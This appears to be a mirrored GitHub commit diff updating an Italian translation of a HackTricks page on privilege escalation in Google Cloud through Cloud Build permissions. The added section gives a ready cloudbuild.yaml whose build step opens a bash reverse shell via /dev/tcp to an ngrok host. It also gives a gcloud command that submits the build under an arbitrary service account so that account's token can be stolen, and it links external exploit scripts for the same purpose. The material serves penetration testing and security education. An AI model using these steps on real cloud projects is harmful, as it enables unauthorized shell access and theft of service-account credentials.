mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-11 20:45:21 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -13,17 +13,29 @@ Per ulteriori informazioni su Cloud Build controlla:
|
||||
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Con questo permesso puoi **inviare un cloud build**. La macchina cloudbuild avrà nel suo filesystem per **default un token dell'Account di Servizio cloudbuild**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Tuttavia, puoi **indicare qualsiasi account di servizio all'interno del progetto** nella configurazione di cloudbuild.\
|
||||
Pertanto, puoi semplicemente far esfiltrare alla macchina il token verso il tuo server o **ottenere una reverse shell all'interno di essa e recuperare il token** (il file contenente il token potrebbe cambiare).
|
||||
Pertanto, puoi semplicemente far esfiltrare alla macchina il token verso il tuo server o **ottenere una reverse shell al suo interno e recuperare il token** (il file contenente il token potrebbe cambiare).
|
||||
|
||||
Puoi trovare lo script di exploit originale [**qui su GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (ma la posizione da cui prende il token non ha funzionato per me). Pertanto, controlla uno script per automatizzare la [**creazione, sfruttamento e pulizia di un ambiente vulnerabile qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) e uno script python per ottenere una reverse shell all'interno della macchina cloudbuild e [**rubare il token qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (nel codice puoi trovare come specificare altri account di servizio)**.**
|
||||
#### Sfruttamento diretto tramite gcloud CLI
|
||||
|
||||
1- Crea `cloudbuild.yaml` e modifica con i dati del tuo listener
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
script: |
|
||||
#!/usr/bin/env bash
|
||||
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
2- Carica una build semplice senza sorgente, il file yaml e specifica il SA da utilizzare nella build:
|
||||
```bash
|
||||
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
|
||||
```
|
||||
#### Utilizzando la libreria python gcloud
|
||||
Puoi trovare lo script di exploit originale [**qui su GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (ma la posizione da cui sta prendendo il token non ha funzionato per me). Pertanto, controlla uno script per automatizzare la [**creazione, sfruttamento e pulizia di un ambiente vulnerabile qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) e uno script python per ottenere una reverse shell all'interno della macchina cloudbuild e [**rubare il token qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (nel codice puoi trovare come specificare altri account di servizio)**.**
|
||||
|
||||
Per una spiegazione più dettagliata, visita [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
|
||||
### `cloudbuild.builds.update`
|
||||
|
||||
**Potenzialmente** con questo permesso sarai in grado di **aggiornare un cloud build e semplicemente rubare il token dell'account di servizio** come è stato fatto con il permesso precedente (ma sfortunatamente al momento della scrittura non sono riuscito a trovare alcun modo per chiamare quella API).
|
||||
|
||||
TODO
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
|
||||
Reference in New Issue
Block a user